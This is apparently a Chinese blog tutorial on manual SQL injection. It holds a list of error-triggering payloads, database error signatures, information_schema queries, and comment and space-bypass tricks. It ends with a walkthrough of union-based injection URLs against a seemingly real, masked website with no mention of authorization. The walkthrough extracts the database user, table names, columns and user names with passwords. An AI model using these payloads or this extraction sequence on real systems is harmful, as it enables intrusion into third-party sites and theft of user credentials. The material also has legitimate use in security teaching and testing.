我多想再见你,哪怕匆匆一眼就别离。
本文是对SQL注入基础的总结,涉及到PHP的一些知识比如注释,与MYSQL数据库的语法,比如select,union等等。
注入的流程我总结了一下,大致步骤如下,建议先把流程背下来。
判断是否存在注入
网上对注入类型分了很多种,各持己见强行取名,有了POST|GET|COOKIE|字符串|数字|搜索|联合注入|等等等等多不胜数,有些是按照注入参数的类型分比如字符串型,数字型,有的是按照提交方式比如get注入,post注入,有的时候记这些很容易让人脑子瓦特,请按照sqlmap的注入类型来记就oj8k。
sqlmap注入类型
- B 布尔型注入
- E 错误型注入
- U 联合查询注入
- S 多语句查询注入
- T 基于时间盲注
sqlmap按照上面的顺序来检测一个网站链接是否存在注入,先盲注(因为大部分注入都支持盲注)。
接下来实现判断一个网站链接是否存在注入,需要明白的是注入的条件一定要与数据库存在交互。
判断一个网站链接存在注入的最简单方式就是让数据库报错,比如加上“或者’或者and 1=1等等,总结一些让数据库报错的语句。
payloads = ("'", "')", "';", '"', '")', '";',"--","-0",") AND 1998=1532 AND (5526=5526"," AND 5434=5692%23"," %' AND 5268=2356 AND '%'='"," ') AND 6103=4103 AND ('vPKl'='vPKl"," ' AND 7738=8291 AND 'UFqV'='UFqV",'`', '`)', '`;', '\\', "%27", "%%2727", "%25%27", "%60", "%5C")
这个列表中的符号拼接在网站连接里,然后访问,会让数据库执行sql语句异常然后报错。
sql_errors = {'SQL syntax':'mysql','syntax to use near':'mysql','MySQLSyntaxErrorException':'mysql','valid MySQL result':'mysql',
'Access Database Engine':'Access','JET Database Engine':'Access','Microsoft Access Driver':'Access',
'SQLServerException':'mssql','SqlException':'mssql','SQLServer JDBC Driver':'mssql','Incorrect syntax':'mssql',
'MySQL Query fail':'mysql'
}
这个字典中存储的是不同数据库报错的语句,有的时候可以根据报错语句来判断使用了什么数据库。
当然这种判断注入的方式并不系统全面,也可以使用sqlmap直接判断,但是工具毕竟是工具,没那么智能。有的时候碰上了WAF会让你鸡儿蛋疼,这个时候还要判断WAF类型版本然后想办法绕过,扯远了,这些东西留着后面说。
MYSQL知识点温习
这些东西都是必须要背下来,做到信手拈来的地步。
必知数据库
- information_schema.schemata数据库
- schema_name表[存储所有数据库名]
- information_schema.tables数据库
- table_schema[存储表格所在数据库名]
- table_name[存储表格名]
information_schema.columns数据库
- table_schema[存储表格所在数据库名]
- table_name[存储表格名]
- column_name[存储列名]
需要注意的是:上述知识点必须是要熟记于心的,在查找数据的时候还可以使用like模糊查询,把上面的表或者列带进去查询。
获取MYSQL数据库下的所有数据库名
select SCHEMA_NAME from information_schema.schmata
获取一个数据库里面的所有表名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='数据库名'
获取一个表中的所有字段名
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名'
获取数据
select 字段名,字段名 from 表名
闭合参数
之所以注入分了数字型,字符串型,搜索型,都是因为SQL语句写的时候加上单引号双引号之类包围起来,举个例子
sql = "select user from users where id = $id"
上面一条sql语句直接获取参数,带入查询,这就是所谓的数字型,其实就是没有用单引号包围起来。
同理,字符串型注入的sql语句其实就是把传入过来的id包围起来。
sql = "select user from users where id = '$id'"
有的时候用的双引号包围,有的时候用的括号包围,如果要注入的话,就必须要闭合前面的参数,加上单引号或者双引号包围闭合。总结一下有大致这些闭合方式:
- ‘
- “
- )
- ‘)
- “)
- ‘))
还有一些需要按照实际情况来闭合。
MYSQL注释符
- 【#】 在URL中需要转换一下编码格式变成【%23】
- 【–+】或者【–空格任意符号】
- 【·】 该符号在键盘~的下面
- 【;%00】%00是MYSQL的截断符号
- 【/*】 或者【/*!字母*/】该符号仅在MYSQL-5.1中有效
需要注意的是:+在URL中表示空格,有的时候过滤某些转义字符可以试一试不同的注释符号拼接在一起尝试绕过。
URL代替空格
- %0a,%0b,%0c,%0d,%09,%a0,%20
- 基于注释符号【/**/】插入代替空格
- 使用+号代替空格
- 其中~可以加在select后面,比如select~1,2%23
- 带入的变量可以加上括号,比如select * from user where name like (‘%zhaohan%’)
常用函数
- substr()
字符串截取,用法:substr(string,start, length);string为字符串;start为起始位置;length为长度。
- ord()
转换成ascii字符,用法:ord(‘a’)==>97
- mid()
截取字符串(只能用于mysql)用法:mid(string,start, length);string为字符串;start为起始位置;length为要返回的字符数。
- ifnull(expr1,expr2)
如果expr1的条件符合就返回expr1的值,不然就返回expr2的值。
- concat()
连接字符串,将多个字符串连接成一个字符串。用法:concat(str1, str2,…)
- group_concat()
将返回的值连接在一起,意思就是返回多个值同样也可以直接输出在一个空格位。用法:group_concat(user,name)
- group_ws()
和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符.
- cast()&convert()
类型转换,两者的语法不同,cast(value as type),convert(value,type)。
- sleep()
休眠,用法:sleep(1)休眠一秒钟
- updatexml()
作用:改变文档中符合条件的节点的值。用法:updatexml(string,start,xpath,value),其中string是对象,xpath是xpath格式的字符串,value是替换查找到符合前面xpath的数据。
举个例子:
id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
- extractvalue()
用法与上面一致,extractvalue(string,xpth)作用:从目标XML中返回包含所查询值的字符串。
实例演示
打开链接
首先打开这个连接,页面正常
http://www.*****.com/chapter.php?id=20
判断是否存在注入
http://www.*****.com/chapter.php?id=20"
然后加上单引号,双引号,斜杠等等返回状态码500,显示服务器异常
继续测试,加上and 1=1 页面正常,加上and 1=2 页面虽然是正常,但是没有内容,说明存在注入
http://www.*****.com/chapter.php?id=20 and 1=2
判断有多少个字段
然后判断有多少个字段,使用order by。mysql基础之order by
http://www.*****.com/chapter.php?id=20 order by 20
其中URL里面的%20代表空格,%23代表#,%27代表单引号,这些都是基础。链接中order by 20页面正常,order by 21页面出错,表示存在20个字段。
寻找字段中可以使用的字段类型
这个时候使用联合查询union select。mysql基础之union select,联合查询的用法之前写的很详细这里不复述,然后为了让后面的语句显示出来,就要让前面的语句报错,直接把id改成-20,然后union select 20个字段即可。
http://www.*****.com/chapter.php?id=-20 union seleCt 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
这里回显16和6,说明16和6这个位置的内容可以直接在页面显示出来,这个时候就可以探测一些信息了。
探测一些信息
- version() 数据库版本
- database() 当前数据库名
- user() 用户
- @@datadir 数据库路径(这里没有括号哦)
- @@basedir 安装路径
直接把上面的函数词带入到可以显示的位置,就能得到想要的数据,比如我要获取当前数据库名和当前用户
http://www.*****.com/chapter.php?id=-20 union seleCt 1,2,3,4,5,user(),7,8,9,10,11,12,13,14,15,database(),17,18,19,20
这里得到了数据库名为 comic_db ,当前用户为root@localhost。
然后按照上面知识点一步一步获取数据即可。
打印该数据库下的所有表名
这里涉及到一点PHP的知识,关于group_concat()函数的作用,把多个字符串拼接在一起形成一个字符串,html中的换行符<br>转换成十六进制就是0x3c2f62723e,把这些知识集合在一起,就可以直观的打印出多个数据。
http://www.*****.com/chapter.php?id=-20 union seleCt 1,2,3,4,5,group_concat(TABLE_NAME,0x3c2f62723e),7,8,9,10,11,12,13,14,15,database(),17,18,19,20 from information_schema.TABLES where TABLE_SCHEMA='comic_db'#
可以看把这个数据库下面的所有表名都打印出来了,并且分行打印哦~
获取这个表中的所有字段
(为后面直接查询字段的数据做准备)
看到有一个表名为user,可以,就获取你这个表中的所有字段了。
http://www.*****.com/chapter.php?id=-20 union seleCt 1,2,3,4,5,group_concat(column_NAME,0x3c2f62723e),7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columnS where TABLE_name='user'
呐呐,看到没,获取到了user这个表的所有字段了
获取数据
直接获取呗~注意这里最后面有一个细节,不要加单引号包围。
http://www.*****.com/chapter.php?id=-20 union seleCt 1,2,3,4,5,group_concat(name,0x3c2f62723e,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20 from user
这里你可以把数据库名啊表名啊字段名啊转换成16进值的数据,然后带入查询,如果使用16进值的话就不要加上单引号了。
小结
可以看到手工注入其实并不难,把你累积的知识点灵活运用起来就可以。其实每个人都可以成长为大牛,只要你每天坚持学习知识,然后保证不要死了,长期下来你积累的知识量越来越大就成了别人眼中的大牛了。
但是啊,完成知识积累每个人都可以做到,把你积累的知识灵活运用才是决定你能到达何种程度的本领,毕竟每个人都可以完成知识积累,如果没有自己的想法,不能灵活运用,最后的成就肯定不如别人的。